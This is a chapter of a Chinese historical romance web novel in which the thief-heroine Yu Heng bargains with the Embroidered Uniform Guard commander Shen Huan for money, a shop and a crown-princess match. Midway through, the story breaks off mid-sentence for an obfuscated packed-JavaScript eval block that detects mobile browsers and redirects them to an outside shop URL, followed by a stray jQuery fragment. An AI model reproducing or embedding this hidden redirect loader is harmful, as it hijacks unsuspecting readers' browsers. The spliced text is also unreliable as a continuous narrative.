“时过境迁，哪有人会永远不变呢？”褚明会还没发觉到虞蘅，朝沈焕笑道，“就像你，十三年前的你，恐怕也没想到自己会成为锦衣卫罢。”
恰一阵风起于青萍之末，花园中池水微漾，风中带来草木的清香气息。
虞蘅的思绪被拉回剑阁县牢狱。
当时在剑阁县牢狱中，沈焕来牢里查看犯人；究竟是为何而来？
为何这般清楚记得她胎记的位置？
只是巧合？
还是沈焕坚持了整整十三年，才终于在她被抓入狱后，循迹找到了她？
虞蘅不知道。
她期待着沈焕能开口说些什么，可没有。
他只是沉默地看着她。湛然冰玉的面容上并无表情，失忆前的冷戾与失忆后的专断扯成一线。
褚明会轻叹一声：“如果虞家五小姐没走丢，自幼在京城长大。你们合该是青梅竹马，天造地设的一对。”
褚明会越说越兴起：“华阳夫人就不会病逝，你的老师萧丞相也不会含恨而亡。而你恐怕会走上卫国公的路子，当个将军……”
“哦，不对，以你这般疾恶如仇的性子，恐怕还是要走老路。”
“没有什么假设，”沈焕挑眉道，瞟了虞蘅一眼，“只是，倘若五小姐未曾走失，也不用谁劝她迷途知返。”
虞蘅总觉得沈焕话里有话。
另一边褚明妍愣了半晌，下巴都快合不上，凑到虞蘅面前问：“沈之晖找你找了十三年啊？难怪……”褚明妍的目光落在虞蘅头戴的金步摇上，露出恍然大悟的神情。
“沈指挥使遇事敢当，持之以恒，”虞蘅道，“对于案件受害者，无论是谁，他都会这般。”
褚明妍瞥了虞蘅两眼，笑：“那可未必。”
沈焕此人诚然如此。但他是指挥使，派人去查和自己亲自查，可是两码事。
褚明会听到褚明妍的声音，这才循声望来。“妹，五小姐，要不要一起投壶——”
褚明妍上前几步把褚明会拉住，一面走一面道：“哥，你能不能有点眼力见？”
“好啊。”虞蘅答应得爽快。
褚明会兄妹俩停住了脚步，看向虞蘅。
沈焕环抱双臂，默不作声。
虞蘅开口道：“褚家多出人才，无论是褚将军，或是，褚阁学，都令人心生敬仰。明妍将门虎女，有巾帼气魄，想来褚公子亦是英雄豪杰。”
“谁？我么？”褚明会听得嘴角都快呲到耳根。
作为京城出名的纨绔，这还是头一回有人把他和父亲、大伯一同夸赞呢。
看，他这无处安放的魅力。
“虞五小姐何出此言？”他心中暗爽，笑眯眯地追问。虞蘅之言很令人受用。他还想再听听。
还没等他得意片刻，忽然嗅到危险的气味。
虞蘅仿若未觉，继续道：“明妍侠肝义胆，褚公子仗义执言。若有荣幸，真想去褚家登门拜访。”
褚明会应道：“哈，哈哈，好说——”他的目光有些心虚地瞟过沈焕。
褚明会只觉沈焕的表情又阴沉了一分，威压有如泰山压顶。他登时住了口。
褚明妍看虞蘅，笑道：“阿蘅，我哥真只是个纨绔。你千万别看走了眼。”
褚明会向妹妹抛去一记眼刀。
有这么说自家兄长的吗？
在家罢了，在外面，就不能给个面子？
不过揭过话题也好。
褚明会余光扫过沈焕，还没舒口气，就听虞蘅道：“褚阁学和褚将军是国之柱石，身负九鼎之重。褚公子虽看着不羁，实则品性纯良，大巧若拙。并非寻常纨绔。”
褚明会闻言，心底直哀号：姑奶奶，别说了！
虞蘅却似毫无所察，甚至又朝他靠近了半步，还要再开口。
沈焕轻咳一声。
“呃，那个，”褚明会猛地开口，干笑道，“你们先聊，你们先聊！我忽然想起有件急事，先走一步！”
他说完几乎是落荒而逃，仿佛再慢一步，便要被某人凌迟。
褚明妍满面笑容地迎上来，拉住虞蘅：“阿蘅，你说得我都不好意思了。”她没想到虞蘅竟这般喜爱褚家，甚至爱屋及乌，连她那混账兄长都看得顺眼。
“我啊，”虞蘅食指点了点太阳穴，笑道，“识货嘛。”
褚明妍笑得更加灿烂。
沈焕对褚明妍道：“你兄长叫你一同过去。”
褚明妍一愣：“啊？”她觑见沈焕眼神，会意，忙不迭点头：“哦，对，对！我哥刚是唤我来着。那，阿蘅，我们稍后宴席上见。”
“诶，等等，”虞蘅下意识想跟上去，“明妍，我和你一同——”
“虞五小姐想去哪里？”
沈焕的声音自身后响起，不高，却将她定在原地。
虞蘅浑身微微一僵，缓缓转过身，脸上已挂起讨巧的笑容：“沈指挥使还有指教？”
沈焕道：“明明有人可以帮你。你为何要走一条见不得人的路？”
沈焕垂眸，望向虞蘅的双手，道：“五小姐可知天网恢恢，疏而不漏。”
“指挥使在说什么？我怎么听不懂？”虞蘅歪着头问。
沈焕未止步，反而凑得更近，目光不由自主地落在那双惯会惑人的天生泪眼上，又不着痕迹地掠过她的唇。
“还要说谎吗？”沈焕目光沉沉。
虞蘅登时腿发软，欲哭无泪般：“我何曾骗过大人您啊。”天生泪眼水汪汪，像盛了一泓干净的山泉。
“机会已经给得够多了，好话也说得够多了，”沈焕声音压得更低，“虞五小姐，你不会想见识我别的手段。”
虞蘅见蒙混过关行不通，眨了眨眼，克制住心底萌生的退意：“如果大人怀疑我做下违法之事，只管提告我便是。
“不过，指挥使大人肯定比我更清楚，本朝律法注重证据，严惩诬告。”
她伸出一根食指轻轻摇了摇，道，“妄加猜测，诬告朝廷命官或其家眷，可是重罪。可处杖刑两百，流三千里。和处死也没两样了。”
沈焕从袖间拿出一物。
“不用提告，你已经走上一条绝路。”
虞蘅凝目望去，那是半截断了的弩箭箭尾，箭尾转动间，显出阴刻的回环纹印记。
“这东西，差点就刺入五小姐的马车了。”沈焕道，“箭尖还有断肠剧毒，只要轻轻蹭过五小姐的皮肤，此刻已过了奈何桥了。”
虞蘅望着弩箭，心跳声愈发明显。
自己所料果然不错，的确曾有危险接近过她，只是被这煞神截断而已。
沈焕把玩着那截箭尾，那双黑白分明的眼正盯着虞蘅。“若我没有出现，五小姐打算如何应对这些刺客？”
虞蘅正要答话，忽然意识到这是个陷阱。
她装傻充愣，故作惊诧：“什么刺客？”
沈焕深深凝望着她：“五小姐不过初来京师一月有余，这般快就被两拨人盯上，非要你性命不可。事到如今，五小姐还以为可以独善其身？”
虞蘅自然明白沈焕的意思。
这些人定会卷土重来。
如果这些人害虞蘅不成，有可能会把目标转向虞蘅的同伴，甚至在保宁府剑阁县摇铃乡的养父母……
“五小姐已经别无选择了，说出你的苦衷，”沈焕道，“让我帮你。”
虞蘅有些意外：“指挥使方才说什么？”
“迷途知返，”沈焕抿了抿唇，语气更为果断，“我帮你。”
虞蘅如何不知。
沈焕是个很好的利用对象。
有钱有势，聪明善断，武功高强，和褚家关系极好。还是个能接触到案卷的锦衣卫指挥使。
但反过来说，倘若她真把一切坦白给沈焕，沈焕也是最能置她于死地之人。
她可是个贼。
她怎么能和锦衣卫合作呢？
沈焕审视着她的神情。
“我知道，让你信任一个人，很难。我会证明，我值得信赖。”
“沈指挥使像是很了解我，”虞蘅眼睫扑闪，眸中波光流转，“指挥使有信赖的手下，通力合作，为何也铩羽而归？指挥使就没有想过，是否错信奸佞？你提醒我小心死局，倒不如看看自己。毕竟，比起我……大人可是从鬼门关回来的。”
沈焕道：“我现在走的路，依靠律法和锦衣卫北镇抚司，光明正大，堂堂正正。走康庄大道都险象环生，五小姐走羊肠小道，还能通天不成？”
虞蘅明白沈焕的意思。
辛氏都能挑唆裕王妃加害自己。
褚珅在朝堂深耕多年，门生故吏遍天下，栽培的势力只会更加根深叶茂。
自己一个人的确不够，就算有乡亲相助，也还是不够。想要扳倒褚珅，她必须借势。
如果，如果自己争得了太子妃位，或许可以借东宫的势。
那是一条更险，但也更快的捷径。
沈焕道：“你不愿信我，我能理解。五小姐不妨提出所需，我会让你看到我的诚意。”
竟还有这种好事。虞蘅有些诧异。
沈焕若做得到，是她赚了；沈焕若做不到，她也没有损失。
虞蘅歪头：“这可是你说的。指挥使大人，你不要骗我。”
沈焕说：“自然。”
虞蘅想了想，用试探的口气，小声道：“我想要钱。想要很多很多钱。”
沈焕蹙起眉头：“就这？”
看着沈焕那不知民间疾苦的眼神，虞蘅甚是无语。这种生来就锦衣玉食的公子哥，恐怕理解不了她对钱财的需求和喜爱。
她道：“所以，我要拿回我生母的嫁妆。”
沈焕挑眉：“简单。”他的表情微微舒展。
虞蘅被他的语气鼓舞，继续说：“我想开一家古董铺。我想证明，即便是后宅女子，也能靠才能安身立命，成一番事业。”
沈焕怔愣一瞬，看向虞蘅的眼神清亮：“西坊宝月楼旁的铺面如何？”
见沈焕答应得轻易，虞蘅满怀期待地开口：“我还有一个愿望。沈指挥使手眼通天，天禀聪颖，天人之姿，定然也能帮我实现的吧。”
沈焕撇开头。唇角微扬。他轻咳一声：“只管说。”
“那我真说了。”虞蘅睫羽轻颤，似乎还有些踌躇。
“你放心说。我又不会恼你。”沈焕道。
虞蘅看了沈焕一眼：“我想当太子妃。”
沈焕：“……”
虞蘅：“你说过不会恼我的。”
沈焕尽力舒展开自己的眉头，止住自己来回踱步的冲动：“你是说，你想嫁给我那皇表弟？”
虞蘅点点头。
“你倒是，志存高远，”沈焕咬牙道，“这个我帮不了你。”
虞蘅追问：“为什么？他不是你表弟——”
沈焕打断：“你别管，就是帮不了。”
虞蘅正思考哪里触了这煞神的逆鳞，便听他道：“我帮你，是为查案，是为公道。东宫之事，涉及国本，岂容儿戏。你最好即刻断了念想。切莫把东宫当成通天梯，那里的水只会更深。”
沈焕离她更近了些，她可以闻到沈焕身上淡淡的药香，还有那股令人窒息的威压。
也对，历朝历代卷入夺嫡之争中，都是取祸之道，更何况插手未来国母之事。
虞蘅见好就收：“要不就这样……”
沈焕允了她两件事，已经帮了她很大的忙了。
沈焕道：“换一个。”
他看着自己，似乎等自己的回答。
虞蘅：？
没想到这家伙竟然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561069|203428||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上赶着给人帮忙。
小便宜不占白不占。
虞蘅想了想，道：“我想要钱。越多越好。”
沈焕：“……”
他缓了缓才问：“五小姐既然这般喜爱钱财，库中珍宝无数，为何偏偏选了一尊小青铜鼎？”
虞蘅笑道：“小钱不去，大钱不来。此物虽然不算值钱——对国公府来说不值钱，却能镇住蘅珍阁铺运；运稳了，日后财源自会滚滚而来。”
沈焕的声音传来，听不出情绪：“是么？”他微微垂首，声音压低了些，“既是镇店之宝……那，千万别被我知道，五小姐将之转赠他人。”
“呵呵呵……”虞蘅干笑，“自，自然。”
沈焕转头离开。虞蘅留在原地。
看着这煞神远去的身姿，心想自己这第三个愿望也没有很过分。怎么感觉这煞神一副不悦的模样。
虞蘅脑海紧绷的弦松了。总算是糊弄过去了。
想来，这煞神无非是借个由头又在这里套自己的话，未必会实现。
就像先前引诱她进仓库，说不定就是为了观察她的表情。
虞蘅素来对他人言语勾勒的景象，并不感兴趣，唯有见了真章，才知此人是何态度。
毕竟说话不过嘴碰嘴罢了，谁都能做到，什么山盟海誓，地久天长，总敌不过利益和时间。
-
虞蘅在后花园刚松了口气。另一头，国公夫人陆氏站在垂花门前却是喜上眉梢。
先前见褚明会褚明妍都出来了，还是沈焕那小子撺掇的。
可见自家孩子无论如何，的确是有那份心意在的。
她知道，以沈焕的品行绝不会对虞蘅有任何轻慢之举。
倘若真有，她便将逆子打断腿赶出府去。把虞蘅接来当亲女儿养。
见沈焕出来，陆氏莲步轻移，问：“机会把握住了？”
沈焕点点头道：“母亲放心。”
“人心隔肚皮，这衷情，总要诉过方知，”陆氏轻舒一口气：“之晖，你说何时派人提亲——”
“案子基本理清楚了，”沈焕道，“不日后，我便进宫回禀。”
“案子？”陆氏深吸一口气，都快被气笑了，“我让你把握机会，不是把握这个机会。”
陆氏恨铁不成钢地瞪了沈焕一眼，胸膛微微起伏，“你不要告诉我，方才你一直在和人家谈论案子。”
“倒也没有，”沈焕道，“我相信过些日子，五小姐定然会认同我，同我一道。”
陆氏的脸色稍微好看了些。
但出于对儿子品性的熟悉，她又不放心地问了一句：“一道做什么？”
沈焕：“一道查案。”
陆氏：“……”
-
虞蘅等人在国公府用了午膳。
宴席上，陆氏让虞蘅坐在自己身侧，亲自给虞蘅挑菜。
“阿蘅，真是委屈你了，”陆氏满眼怜惜，“这些都是蜀地口味，尝尝。”
虽然不知道哪里委屈了自己，不过虞蘅还是点了点头，挑了一筷子吃，的确十分正宗。
“明妍，你也不要客气。”陆氏道。
褚明妍道：“我家也有川地来的厨子，那味道依然不错，但是和国公府上的比，还少了一些精巧呢。”
看虞蘅和褚明妍吃得这么起劲，虞璎不服气也挑了一筷子，结果被辣得不行。想吐又觉得失礼。强咽下去，呛出了涕泪。
又是花椒，又是茱萸，什么玩意儿？
陆氏道：“之晖一心查案，没给你惹什么麻烦罢。”
虞蘅道：“有也无妨。查案追根究底，方能不冤一人。指挥使一心查案，值得敬佩，比起那些以良充匪的官吏好太多了。”
陆氏点点头，又给虞蘅挑了一筷子菜：“阿蘅明事理。但这不是沈之晖欺负你的理由。我回头便说他。”
虞璎在一旁听愣了。这国公夫人怎么对虞蘅那么好？简直把她当自家人似的。
几人用过午膳。虞蘅便要回尚书府。临走时，陆氏又给了虞蘅许多东西，马车都快装不下了。
竟然比尚书府带来的谢礼还要贵重。
马车满载着回了尚书府。
国公府的管事对下值回来的虞尚书行礼道：“尚书大人。”
虞尚书道：“这些礼物也太贵重了。本就是世子帮我寻回了爱女。承蒙国公府厚爱。实在不好意思收下。”
国公府管事笑道：“尚书大人，你有一位好女儿。”
虞尚书的目光下意识瞥向虞璎，只见虞蘅愤愤咬着双唇，满眼不甘。
而后虞尚书又转向虞蘅。
只见虞蘅一派宠辱不惊的模样。
虞尚书眉头微皱，眼神有些晦暗。
国公府管事道：“国公夫人见了五小姐，十分喜欢。这些东西，全部是送给五小姐的。”
虞尚书按照礼节推拒一番。最终还是收下。
虞尚书知道，国公夫人陆氏和华阳当年是闺中密友。当年华阳死讯传出后，陆氏虽然没说什么，但断绝了和尚书府的往来。
此后自己迎娶辛氏进门，璎姐儿的及笄礼，国公府之人都未曾来过。
虞轶出身寒门，靠科举走上仕途，和这些勋贵，本不该有交集。
卫国公府世代簪缨，当年也是看在华阳的面子上屈尊降贵同自己往来。华阳死后，顺理成章地断了联络。
虞轶也不好说什么。
此番国公夫人竟代表国公府赠下这么多礼。莫非是看重自己，试图结交？
褚珅能靠驸马之位进入内阁。
自己未尝不能以此为契机，结交勋贵，以求高升。
虞尚书正想着，国公府管事又道：“国公夫人说，五小姐若得空，可以随时到国公府来。国公府，必扫榻以待。”